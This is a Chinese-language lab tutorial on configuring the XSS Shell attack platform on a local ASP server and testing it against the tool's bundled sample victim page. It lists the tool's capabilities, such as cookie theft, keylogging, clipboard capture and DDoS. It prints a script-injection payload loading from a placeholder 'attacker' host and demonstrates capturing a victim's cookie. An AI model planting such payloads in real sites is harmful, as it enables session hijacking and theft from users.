利用XSS Shell进行XSS测试
0x01 XSS Shell简介
XSS Shell一个windows环境下的XSS攻击平台。下载地址为:http://www.portcullis-security.com/tools/free/XSSShell039.zip
利用XSS Shell,攻击者可以轻松攻击存在XSS漏洞的网站的用户。目前可以实施的攻击包括但不限于:
1、获取用户cookie;
2、获取用户当前页面内容;
3、弹出窗口;
4、执行JS代码;
5、弹出与用户交互窗口;
6、获取键盘日志(测试中未成功);
7、获取鼠标日志(测试中未成功);
8、获取剪贴板(仅限IE);
9、获取内部IP(仅支持Mozilla* + JVM)
10、获取用户浏览历史;
11、Make a request with victim credentials (目前不了解)
12、DDoS;
13、耗尽用户计算机CPU资源。
// 注:XSS,即Cross-Site Script,跨站脚本攻击。
0x02 ASP测试环境快速搭建
要使用XSS Shell ,需要搭建asp web服务器的,以监听请求。为了简便起见,测试中使用Aws2.2(AspWebServer)快速搭建asp环境。
Aws的最新版为3.0版本。官方网站为:http://www.hicoder.com/
Aws搭建asp环境非常简单,将其拷贝到测试站点根目录后运行即可。
0x03 XSS Shell的配置
创建XSS Shell管理端
1. 将"xssshell" 文件夹拷贝到Aws所在目录$path。
2. 将"db"文件夹拷贝到"xssshell"下更隐蔽的目录$hpath下;
3. 修改"xssshell/db.asp"中Const DBPATH 的值为$hpath\shell.mdb。默认情况下为:
4. 修改"xssshell/db.asp"的默认管理密码。初始密码: w00t:
5. 访问http://127.0.0.1/xssshell/,输入管理密码,点击login,可以看到如下界面:
上图中,最左侧为功能区域,中间部分为在线目标列表区域,最右侧为日志记录区域。可以看到目前没有目标在线。因此,下面需要配置XSS Shell。
配置XSS Shell
1. 打开"xssshell.asp".
2. 将"SERVER"设为xssshell所在目录。本次测试中为: "http://127.0.0.1/";
3. 核对 "ME", "CONNECTOR", "COMMANDS_URL" 的值。
测试中可以将server的值替换为之前的设置项(http://127.0.0.1),在浏览器中打开完整的完整的URL,如果页面显示正常,表明配置正确。
0x04 测试sample_victim
以XSS Shell自带的sample_victim为例,我们进行测试,测试之前还需要修改sample_victim/default.asp中的测试跨站语句:
<script src="http://attacker:81/xssshell.asp?v=336699"></script>
修改为:
<script src="http://127.0.0.1/xssshell.asp?v=336699"></script>
修改完成后,在其他浏览器窗口中打开:http://127.0.0.1/sample_victim/
此时可以看到XSS Shell管理页面可以看到有一台目标用户上线:(127.0.0.1/158534)
此时点击最左侧的功能项,以获取cookie为例:
可以看到在最右侧的显示区域,成功获取了目标用户的cookie。
同理,我们可以执行其他的功能,比如最简单的弹窗测试。
在页面左下角的Parameters : 区域,输入测试语句"XSS by Phoenix!",点击"alert(<message>) ",可以看到目标用户的浏览器弹出相应窗口:
更多的利用案例将在后续补充。